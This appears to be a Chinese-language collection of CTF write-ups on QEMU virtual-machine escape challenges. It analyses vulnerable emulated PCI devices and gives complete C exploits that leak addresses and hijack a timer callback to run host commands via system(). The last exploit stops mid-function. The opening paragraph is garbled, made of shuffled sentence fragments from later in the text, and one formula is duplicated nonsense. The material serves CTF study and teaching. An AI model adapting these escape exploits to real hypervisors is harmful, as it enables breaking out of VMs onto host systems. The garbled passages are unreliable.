QEMU 逃逸相关例题
实际上只能使用第二种方式,因为 PCI 设备内部会对访问的内存区域进行检查,不允许超过分配。的合法区间,因而我们只能通过第二种方式构造越界读写原语。上设置定时任务,不过时间设置为 -1 因此不会执行。函数定义如下,也就是说这里会将该定时任务时间设置为。位于 qemu 上,地址小于堆地址,而越界写。无法将下标设为负数,因此考虑其他方法。指向参数地址,从而实现任意命令执行。结构体的内容如下,其中。从前
HXB2019-pwn2
虚拟机密码为 root
环境搭建
缺少 libiscsi.so.2
,需要安装相关依赖:
git clone https://github.com/sahlberg/libiscsi.git
cd libiscsi
./autogen.sh
./configure
make
sudo make install
sudo ln -s /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /usr/lib/x86_64-linux-gnu/libiscsi.so.2
漏洞分析
设备读写函数分析如下:
strng_mmio_read
函数:- 如果
addr
非 4 的倍数或者读的非四字节则返回 -1 。 - 否则返回
regs[addr>>2]
。这里缺少对regs
的边界检测,存在越界读。
- 如果
strng_mmio_write
函数:
addr
必须是 4 的倍数addr == 4
:regs[1] = rand()
addr == 0 || addr == 8
:srand(val)
addr == 12
:regs[3] = rand_r(&opaque->regs[2])
- 其他情况:
flag = 1; regs[addr>>2] = val
,存在越界写。
strng_pmio_read
函数:- 如果
size
不为 4 则返回 -1 - 如果
addr
为 0 则返回 0 - 如果
addr
为 4 且opaque->addr
为 4 的倍数则返回opaque->regs[opaque->addr >> 2]
- 如果
strng_pmio_write
函数:- 如果
addr == 0
:opaque->addr = val
- 如果
addr
非零则addr
必须为 4:
opaque->addr
必须是 4 的倍数:opaque->addr == 4
:regs[1] = rand()
opaque->addr == 0 || opaque->addr == 8
:srand(val)
opaque->addr == 12
:opaque->regs[3] = rand_r(&opaque->regs[2])
- 其他情况:
regs[opaque->addr >> 2] = val
,如果opaque->flag
非零:有一个
关于timer
的奇怪函数调用,稍后再分析
- 如果
漏洞利用
越界读原语:
- 利用
mmio_read
传递offset << 2
即可读取regs[offset]
处的四字节值 - 利用
pmio_write
设置opaque->addr = offset << 2
,调用pmio_read
读取regs[offset]
处的四字节
值
越界写原语:
- 利用
mmio_write
传递offset << 2
即可写regs[offset]
处的四字节值为val
- 利用
pmio_write
设置opaque->addr = offset << 2
,调用pmio_write
写regs[offset]
处的四字节
值为val
实际上只能使用第二种方式,因为 PCI 设备内部会对访问的内存区域进行检查,不允许超过分配
的既定区域,即 64*4 = 256
的合法区间,因而我们只能通过第二种方式构造越界读写原语。
调试发现 STRNGState
结构体的内容如下,其中 strng_timer
的 cb
和 opaque
分别可以泄露 qemu 和 STRNGState
地址。
pwndbg> p *(STRNGState*)0x5555582a59d0
$1 = {
pdev = {
...
},
mmio = {
...
},
pmio = {
...
},
addr = 276,
flag = 1,
regs = {0, 0, 0, 0, 1818321784, 99, 0 <repeats 58 times>},
strng_timer = {
expire_time = -1,
timer_list = 0x555556a71860,
cb = 0x5555557eec8e <strng_timer>,
opaque = 0x5555582a59d0,
next = 0x0,
scale = 1000000
}
}
如果考虑修改 main_loop_tlg
实现虚拟机逃逸,由于 main_loop_tlg
位于 qemu 上,地址小于堆地址,而越界写 regs[opaque->addr >> 2] = val
无法将下标设为负数,因此考虑其他方法。
在 pci_strng_realize
函数中有对 strng_timer
的初始化,这里 QEMU_CLOCK_VIRTUAL_0 = 1
。
timer_init_ms_0(&pdev->strng_timer, QEMU_CLOCK_VIRTUAL_0, (QEMUTimerCB *)strng_timer, pdev);
其中 timer_init_ms
函数调用链如下,根据 timer_init_ms
的参数可知,最终会将 pdev->strng_timer
的 timer_list
设为 timer_list_group->tl[1]
并且在 timer_list_group->tl[1]
上设置定时任务,不过时间设置为 -1 因此不会执行。
void timer_init_full(QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group, QEMUClockType type,
int scale, int attributes,
QEMUTimerCB *cb, void *opaque)
{
if (!timer_list_group) {
timer_list_group = &main_loop_tlg;
}
ts->timer_list = timer_list_group->tl[type];
ts->cb = cb;
ts->opaque = opaque;
ts->scale = scale;
ts->attributes = attributes;
ts->expire_time = -1;
}
static inline void timer_init(QEMUTimer *ts, QEMUClockType type, int scale,
QEMUTimerCB *cb, void *opaque)
{
timer_init_full(ts, NULL, type, scale, 0, cb, opaque);
}
static inline void timer_init_ms(QEMUTimer *ts, QEMUClockType type,
QEMUTimerCB *cb, void *opaque)
{
timer_init(ts, type, SCALE_MS, cb, opaque);
}
从前面的调试结果可以看到 STRNGState.flag
初始值为 1 ,而在strng_pmio_write
函数中如果如果 opaque->flag
非零会执行如下代码:
opaque->regs[v5] = val;
if ( opaque->flag )
{
ms_4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->strng_timer, ms_4 + 100);
}
其中 timer_mod
函数定义如下,也就是说这里会将该定时任务时间设置为 ms_4 + 100
,并且将 opaque->strng_timer
添加到定时任务。
void timer_mod(QEMUTimer *ts, int64_t expire_time)
{
QEMUTimerList *timer_list = ts->timer_list;
QEMUTimer *t = &timer_list->active_timers;
while (t->next != NULL) {
if (t->next == ts) {
break;
}
t = t->next;
}
ts->expire_time = MAX(expire_time * ts->scale, 0);
ts->next = NULL;
t->next = ts;
}
因此不难想到可以修改 opaque->strng_timer
的 cb
为 system@plt
然后将 opaque->strng_timer
的 opaque
指向参数地址,从而实现任意命令执行。
exp
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/io.h>
void *mmio_mem;
void mmio_write(uint32_t offset, uint32_t value) {
*((uint32_t *) mmio_mem + offset) = value;
}
uint32_t mmio_read(uint32_t offset) {
return *((uint32_t *) mmio_mem + offset);
}
uint32_t pmio_mem = 0x000000000000c050;
void pmio_write(uint32_t offset, uint32_t value) {
outl(value, pmio_mem + offset);
}
uint32_t pmio_read(uint32_t offset) {
return inl(pmio_mem + offset);
}
uint64_t pmio_abread(uint32_t offset) {
pmio_write(0, offset << 2);
uint64_t val = pmio_read(4);
pmio_write(0, (offset + 1) << 2);
return val | (1ULL * pmio_read(4) << 32);
}
void pmio_abwrite(uint32_t offset, uint64_t value) {
pmio_write(0, offset << 2);
pmio_write(4, value & 0xFFFFFFFF);
pmio_write(0, (offset + 1) << 2);
pmio_write(4, value >> 32);
}
char cmd[] = "xcalc";
int main() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.🤔");
exit(-1);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(-1);
}
for (int i = 0; i < sizeof(cmd); i += 4) {
mmio_write(4 + i / 4, *(uint32_t *) &cmd[i]);
}
if (iopl(3) != 0) {
perror("[-] failed to set io permission.");
}
size_t arg_addr = pmio_abread(70) + 0xb08;
size_t elf_base = pmio_abread(68) - 0x29ac8e;
printf("[+] arg addr: %p\n", arg_addr);
printf("[+] elf base: %p\n", elf_base);
printf("[*] STRNGState addr: %p\n", arg_addr - 0xb08);
size_t system_plt = elf_base + 0x200d50;
pmio_abwrite(70, arg_addr);
pmio_abwrite(68, system_plt);
return 0;
}
RWCTF2021 Easy_escape
附件下载链接
本题环境为 Ubuntu20.04,glibc-2.31 。
漏洞分析
fun_mmio_read
和 fun_mmio_write
内容如下:
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
{
uint32_t_0 val; // [rsp+20h] [rbp-10h]
val = -1;
switch ( addr )
{
case 0uLL:
val = opaque->size;
break;
case 4uLL:
val = opaque->addr;
break;
case 8uLL:
val = opaque->result_addr;
break;
case 0xCuLL:
val = opaque->idx;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_write(opaque, opaque->req, opaque->idx);
break;
default:
return val;
}
return val;
}
void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size)
{
switch ( addr )
{
case 0uLL:
opaque->size = val;
break;
case 4uLL:
opaque->addr = val;
break;
case 8uLL:
opaque->result_addr = val;
break;
case 0xCuLL:
opaque->idx = val;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_read(opaque, opaque->req, opaque->idx);
break;
case 0x14uLL:
if ( !opaque->req )
opaque->req = create_req(opaque->size);
break;
case 0x18uLL:
if ( opaque->req )
delete_req(opaque->req);
opaque->req = 0LL;
opaque->size = 0;
break;
default:
return;
}
}
其中 handle_data_read
和 handle_data_write
函数内容如下,两个函数均调用了 put_result
函数。
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
其中 dma_memory_read
和 dma_memory_write
定义如下:
static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len)
static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len)
dma_memory_read
是将 addr
处的数据复制到 buf
中,dma_memory_write
是将 buf
处的数据复制到 addr
中。其中 addr
是虚拟机中的物理地址。
在实际调试过程中发现 put_result
函数会再次调用到 handle_data_write
函数。
调用链如下:
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
handle_data_write(opaque, opaque->req, opaque->idx);
put_result(fun, 1u);
dma_memory_write(fun->as, fun->result_addr, &result, 4uLL);
dma_memory_rw(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
dma_memory_rw_relaxed(as, addr, buf, len, dir);
address_space_rw(as, addr, MEMTXATTRS_UNSPECIFIED, buf, len, dir == DMA_DIRECTION_FROM_DEVICE);
address_space_write(as, addr, attrs, buf, len);
flatview_write(fv, addr, attrs, buf, len);
flatview_write_continue(fv, addr, attrs, buf, len, addr1, l, mr);
memory_region_dispatch_write(mr, addr1, val, size_memop(l), attrs);
access_with_adjusted_size(addr, &data, size, mr->ops->impl.min_access_size, mr->ops->impl.max_access_size, memory_region_write_accessor, mr, attrs);
memory_region_write_accessor(mr, addr + i, value, access_size, i * 8, access_mask, attrs)
mr->ops->write(mr->opaque, addr, tmp, size);
并且再次调用 handle_data_write
时 addr
参数为 opaque->result_addr
减掉 mmio 内存的地址。
另外当 addr = 0x18
时会释放 req
相关结构。
void __cdecl delete_req(FunReq *req)
{
uint32_t_0 i; // [rsp+18h] [rbp-8h]
uint32_t_0 t; // [rsp+1Ch] [rbp-4h]
t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
free(req->list[i]);
free(req);
}
case 0x18uLL:
if ( opaque->req )
delete_req(opaque->req);
opaque->req = 0LL;
opaque->size = 0;
break;
因此不难想到可以通过设置 opaque->result_addr
为 mmio_addr + 0x18
然后调用 handle_data
函数来实现 UAF 。
漏洞利用
create_req
会创建 req
和
⌊
opaque -> size
2
12
⌋
+
1
\left \lfloor \frac{\text{opaque -> size}}{2^{12}} \right \rfloor +1
⌊212opaque -> size⌋+1 个 chunk ,每个chunk 大小为 0x410 。
FunReq *__cdecl create_req(uint32_t_0 size)
{
uint32_t_0 i; // [rsp+10h] [rbp-10h]
uint32_t_0 t; // [rsp+14h] [rbp-Ch]
FunReq *req; // [rsp+18h] [rbp-8h]
if ( size > 0x1FBFF )
return 0LL;
req = (FunReq *)malloc(0x400uLL);
memset(req, 0, sizeof(FunReq));
req->total_size = size;
t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
req->list[i] = (char *)malloc(0x400uLL);
return req;
}
case 0x14uLL:
if ( !opaque->req )
opaque->req = create_req(opaque->size);
break;
FunReq
结构体定义如下:
00000000 FunReq struc ; (sizeof=0x400, align=0x8, copyof_4859)
00000000 total_size dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 list dq 127 dup(?) ; offset
00000400 FunReq ends
因此我们创建 req
并在 req.list
中申请三个 chunk 。
在 fun_mmio_read->handle_data_write->dma_memory_write_9
时发生 UAF,此时读取的 req.list[0]
中的数据实际上是 tcache_pthread_struct
中的数据,因此可以泄露 req
的地址,另外 tcache_pthread_struct
之后有一个指向存放 qemu 地址的内存的指针也可以泄露。
再次创建 req
。
之后 fun_mmio_write->handle_data_read->dma_memory_read_9
时 UAF 修改 req.list[1]
的 fd
指向 req
。
再次创建 req
时 req.list[2]
指向 req
。此时实现了 req
的自写,其中 lreq.ist[0]
为 NULL 时因为 tcache 在取出 chunk 时会将 key 字段置 0 。
我们可以通过 req
自写将 list[0]
指向目标地址从而实现任意地址读写。之后就是常规的泄露 qemu 基址,改 main_loop_tlg
指向的 QEMUTimerList
实现逃逸。
exp
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
#define PAGE_SIZE 0x1000
size_t vaddr_to_paddr(size_t vaddr) {
int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
size_t data;
read(pagemap_fd, &data, 8);
close(pagemap_fd);
return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}
#define SIZE 0x0
#define ADDR 0x4
#define RESULT_ADDR 0x8
#define INDEX 0xC
#define HANDLE_DATA 0x10
#define CREATE_REQ 0x14
#define DELETE_REQ 0x18
void *mmio_mem;
void mmio_write(uint32_t addr, uint32_t value) {
*((uint32_t *) (mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr) {
return *((uint32_t *) (mmio_mem + addr));
}
char *buf;
size_t buf_paddr;
size_t req_addr;
char cmd[] = "xcalc";
void arbitrary_address_read(size_t address) {
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(INDEX, 2);
*(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
*(size_t *) (buf + (2 << 10) + 8) = address;
*(size_t *) (buf + (2 << 10) + 0x10) = 0;
*(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
mmio_write(HANDLE_DATA, 0x114514);
mmio_write(INDEX, 0);
mmio_read(HANDLE_DATA);
}
void arbitrary_address_write(size_t address) {
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(INDEX, 2);
*(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
*(size_t *) (buf + (2 << 10) + 8) = address;
*(size_t *) (buf + (2 << 10) + 0x10) = 0;
*(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
mmio_write(HANDLE_DATA, 0x114514);
mmio_write(INDEX, 0);
mmio_write(HANDLE_DATA, 0x1919810);
}
int main() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0) {
perror("[-] failed to open mmio.");
exit(-1);
}
mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem < 0) {
perror("[-] failed to mmap mmio_mem.");
exit(-1);
}
FILE *resource_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
if (resource_fd == NULL) {
perror("[-] failed to open resource.");
exit(-1);
}
size_t mmio_addr;
fscanf(resource_fd, "%p", &mmio_addr);
printf("[*] mmio_addr: %p\n", mmio_addr);
buf = (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(buf, 0, PAGE_SIZE);
printf("[*] buf vaddr: %p\n", buf);
buf_paddr = vaddr_to_paddr((size_t) buf);
printf("[*] buf paddr: %p\n", buf_paddr);
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(ADDR, buf_paddr);
mmio_write(INDEX, 0);
mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
mmio_write(CREATE_REQ, 0x114514);
mmio_read(HANDLE_DATA);
qword_dump("leak req addr from tcache_perthread_struct (req->list[0])", buf, 0x400);
req_addr = *(size_t *) (buf + 0x278);
printf("[+] req_addr: %p\n", req_addr);
size_t leak_addr_addr = *(size_t *) (buf + 0x358);
printf("[+] leak_addr addr: %p\n", leak_addr_addr);
*(size_t *) (buf + (1 << 10)) = req_addr;
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(ADDR, buf_paddr);
mmio_write(INDEX, 1);
mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
mmio_write(CREATE_REQ, 0x114514);
mmio_write(HANDLE_DATA, 0x1919810);
mmio_write(RESULT_ADDR, 1);
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(CREATE_REQ, 0x114514);
mmio_write(INDEX, 2);
arbitrary_address_read(leak_addr_addr);
size_t elf_base = *(size_t *) buf - 0x6761b0;
printf("[+] elf base: %p\n", elf_base);
size_t system_plt = elf_base + 0x2b8a74;
printf("[*] system@plt addr: %p\n", system_plt);
size_t main_loop_tlg_addr = elf_base + 0x112cd40;
printf("[*] main_loop_tlg addr: %p\n", main_loop_tlg_addr);
arbitrary_address_read(main_loop_tlg_addr);
size_t QEMUTimer_addr = *(size_t *) (buf + 8);
printf("[+] QEMUTimer addr: %p\n", QEMUTimer_addr);
arbitrary_address_read(QEMUTimer_addr);
*(size_t *) (buf + 0x58) = system_plt;
*(size_t *) (buf + 0x60) = QEMUTimer_addr + 0x200;
strcpy(buf + 0x200, cmd);
arbitrary_address_write(QEMUTimer_addr);
return 0;
}
GACTF2020 babyqemu
虚拟机密码为 root
环境搭建
由于利用方法不受环境影响,没有用 docker 环境。
在 ubuntu18.04 上运行缺少 libncursesw.so.6
,需要安装 libncursesw6
。
sudo apt install libncursesw6
漏洞分析 & 利用
设备相关的符号被去除。可以通过搜索 denc-mmio
定位到相关函数。
存在一处花指令,直接去除。
.text:00000000003AA140 E8 00 00 00 00 call $+5
.text:00000000003AA140
.text:00000000003AA145 83 04 24 05 add dword ptr [rsp], 5
.text:00000000003AA149 C3 retn
denc_mmio_write
和 denc_mmio_read
存在越界读写,另外 key
也可以泄露,qemu 地址可以越界读出。
/*
00000000 DencState struc ; (sizeof=0xB48, mappedto_112)
00000000 field_0 db 2808 dup(?)
00000AF8 key db 32 dup(?)
00000B18 field_B18 db 8 dup(?)
00000B20 buf dd 8 dup(?)
00000B40 fun dq ? ; offset
00000B48 DencState ends
*/
unsigned __int64 __fastcall denc_mmio_read(DencState *opaque, unsigned __int64 addr, int size)
{
unsigned __int64 result; // rax
if ( size != 4 )
return -1LL;
result = addr & 3;
if ( (addr & 3) != 0 )
return -1LL;
if ( addr <= 0x24 )
return opaque->buf[addr >> 2];
return result;
}
unsigned __int64 __fastcall denc_mmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
unsigned __int64 result; // rax
result = (unsigned __int64)opaque;
if ( size == 4 )
{
result = addr & 3;
if ( (addr & 3) == 0 && addr <= 0x24 )
{
result = val ^ *(_DWORD *)&opaque->key[addr];
opaque->buf[addr >> 2] = result;
}
}
return result;
}
denc_pmio_write
存在后门。
__int64 __fastcall denc_pmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
__int64 result; // rax
result = (__int64)opaque;
if ( size == 4 )
{
result = addr & 3;
if ( (addr & 3) == 0 )
{
if ( addr <= 7 )
{
result = val ^ *(_DWORD *)&opaque->key[4 * addr];
opaque->buf[addr] = result;
}
if ( addr == 0x660 )
return opaque->fun(opaque->buf, 0LL, 0LL);
}
}
return result;
}
exp
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/io.h>
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void *mmio_mem;
void mmio_write(uint32_t offset, uint32_t value) {
*((uint32_t *) mmio_mem + offset) = value;
}
uint32_t mmio_read(uint32_t offset) {
return *((uint32_t *) mmio_mem + offset);
}
void mmio_init() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.🤔");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}
if (mlock(mmio_mem, 0x1000) == -1) {
perror("[-] failed to mlock mmio_mem.");
exit(EXIT_FAILURE);
}
}
uint32_t pmio_mem;
void pmio_write(uint32_t offset, uint32_t value) {
outl(value, pmio_mem + offset);
}
uint32_t pmio_read(uint32_t offset) {
return inl(pmio_mem + offset);
}
void pmio_init() {
if (iopl(3) == -1) {
perror("[-] iopl failed.");
exit(EXIT_FAILURE);
}
FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
printf("[*] pmio_mem: %p\n", pmio_mem);
}
char cmd[0x20] = "cat flag; xcalc";
int main() {
mmio_init();
pmio_init();
size_t leak_addr = mmio_read(8) | (1ll * mmio_read(9) << 32);
printf("[+] leak addr: %p\n", leak_addr);
size_t elf_base = leak_addr - 0x3a9ea8;
printf("[*] elf base: %p\n", elf_base);
size_t system_plt = elf_base + 0x2ccb60;
printf("[*] system@plt addr: %p\n", system_plt);
uint32_t key[10];
for (int i = 0; i < 10; i++) {
mmio_write(i, 0);
key[i] = mmio_read(i);
}
qword_dump("leak key", key, sizeof(key));
for (int i = 0; i < strlen(cmd); i += 4) {
mmio_write(i / 4, (*(uint32_t *) &cmd[i]) ^ key[i / 4]);
}
mmio_write(8, (system_plt & 0xFFFFFFFF) ^ key[8]);
mmio_write(9, (system_plt >> 32) ^ key[9]);
pmio_write(0x660, 0x114514);
return 0;
}
HWS2021 FastCP
漏洞分析
fastcp_mmio_write
设置相关参数。其中 addr
为 0x18 时还会启动定时器。
void __fastcall fastcp_mmio_write(FastCPState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t ns; // rax
if ( (size == 8 || addr > 0x1F) && addr <= 0x1F )
{
if ( addr == 0x10 )
{
if ( opaque->handling != 1 )
opaque->cp_state.CP_list_cnt = val;
}
else if ( addr == 0x18 )
{
if ( opaque->handling != 1 )
{
opaque->cp_state.cmd = val;
ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
timer_mod(&opaque->cp_timer, ns / 1000000 + 100);
}
}
else if ( addr == 8 && opaque->handling != 1 )
{
opaque->cp_state.CP_list_src = val;
}
}
}
定时器的回调函数 fastcp_cp_timer
中存在越界读和越界写可以读写结构体中的 QEMUTimer
。
越界读:
case 4uLL:
v7 = opaque->cp_state.CP_list_cnt == 1;
opaque->handling = 1;
if ( v7 )
{
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
...
越界写:
case 1uLL:
CP_list_cnt = opaque->cp_state.CP_list_cnt;
opaque->handling = 1;
if ( CP_list_cnt > 0x10 )
{
LABEL_22:
v8 = 0LL;
do
{
v9 = 3 * v8++;
cpu_physical_memory_rw(opaque->cp_state.CP_list_src + 8 * v9, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
}
while ( opaque->cp_state.CP_list_cnt > v8 );
}
cpu_physical_memory_rw
函数用法如下:
- 函数功能:用于读写物理内存,是 QEMU 中用于直接访问物理内存的函数之一。
- 函数定义:
void __fastcall cpu_physical_memory_rw(hwaddr addr, void *buf, hwaddr len, bool is_write)
- 函数参数:
- addr:要读写的物理地址
- buf:指向数据缓冲区的指针
- len:要读写的数据长度
- is_write:标识是否进行写操作,1表示写操作,0表示读操作。
这里有两个易错点:
- 一是这里 oob 读写超过 1 个内存页大小,而
cpu_physical_memory_rw
的addr
是虚拟机中的物理地址,因此我们要找的是虚拟机中物理地址相邻的内存页,这样超过一个内存页大小的数据会读到后一个内存页上。 QEMUTimer
的timer_list
成员在timer_mod
函数中会用到,不能随便写数据。
exp
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define HASH_MAP_SIZE 0x1000
typedef struct hash_map_entry {
uint64_t key, value;
struct hash_map_entry *next;
} hash_map_entry;
typedef struct hash_map {
hash_map_entry **entry;
} hash_map;
uint64_t hash_map_get(hash_map *map, uint64_t key) {
uint64_t hash = key & HASH_MAP_SIZE;
for (hash_map_entry *entry = map->entry[hash]; entry; entry = entry->next) {
if (entry->key == key) {
return entry->value;
}
}
return -1;
}
void hash_map_set(hash_map *map, uint64_t key, uint64_t value) {
uint64_t hash = key & HASH_MAP_SIZE;
for (hash_map_entry *entry = map->entry[hash]; entry; entry = entry->next) {
if (entry->key == key) {
entry->value = value;
return;
}
}
hash_map_entry *entry = calloc(1, sizeof(hash_map_entry));
entry->next = map->entry[hash];
entry->key = key;
entry->value = value;
map->entry[hash] = entry;
}
void hash_map_del(hash_map *map, uint64_t key) {
uint64_t hash = key & HASH_MAP_SIZE;
for (hash_map_entry *entry = map->entry[hash], *prev = NULL; entry; prev = entry, entry = entry->next) {
if (entry->key == key) {
prev == NULL ? (map->entry[hash] = entry->next) : (prev->next = entry->next);
free(entry);
return;
}
}
}
void hash_map_init(hash_map *map) {
map->entry = calloc(HASH_MAP_SIZE, sizeof(hash_map_entry *));
}
void hash_map_clear(hash_map *map) {
for (int i = 0; i < HASH_MAP_SIZE; i++) {
for (hash_map_entry *entry = map->entry[i], *next; entry; entry = next) {
next = entry->next, free(entry);
}
}
free(map->entry);
}
#define PAGE_SIZE 0x1000
size_t vaddr_to_paddr(size_t vaddr) {
int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
size_t data;
assert(read(pagemap_fd, &data, 8) == 8);
close(pagemap_fd);
return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}
typedef struct {
void *vaddr[2];
size_t paddr;
} adjacent_pages_buf;
void release_pages(hash_map *map) {
for (int i = 0; i < PAGE_SIZE; i++) {
for (hash_map_entry *entry = map->entry[i]; entry; entry = entry->next) {
assert(munmap((void *) entry->value, PAGE_SIZE) == 0);
}
}
hash_map_clear(map);
}
void get_adjacent_pages(adjacent_pages_buf *buf) {
hash_map *map = calloc(1, sizeof(hash_map *));
hash_map_init(map);
while (true) {
size_t vaddr = (size_t) (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset((void *) vaddr, 0, PAGE_SIZE);
size_t paddr = vaddr_to_paddr(vaddr);
printf("[*] new page %p %p\n", paddr, vaddr);
if ((buf->vaddr[1] = (void *) hash_map_get(map, paddr + 0x1000)) != (void *) -1) {
buf->vaddr[0] = (void *) vaddr;
buf->paddr = paddr;
hash_map_del(map, paddr + 0x1000);
release_pages(map), free(map);
return;
}
if ((buf->vaddr[0] = (void *) hash_map_get(map, paddr - 0x1000)) != (void *) -1) {
buf->vaddr[1] = (void *) vaddr;
buf->paddr = paddr - 0x1000;
hash_map_del(map, paddr - 0x1000);
hash_map_clear(map), free(map);
return;
}
hash_map_set(map, paddr, vaddr);
}
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void *mmio_mem;
void mmio_write64(size_t offset, uint64_t value) {
*(uint64_t *) (mmio_mem + offset) = value;
}
void mmio_init() {
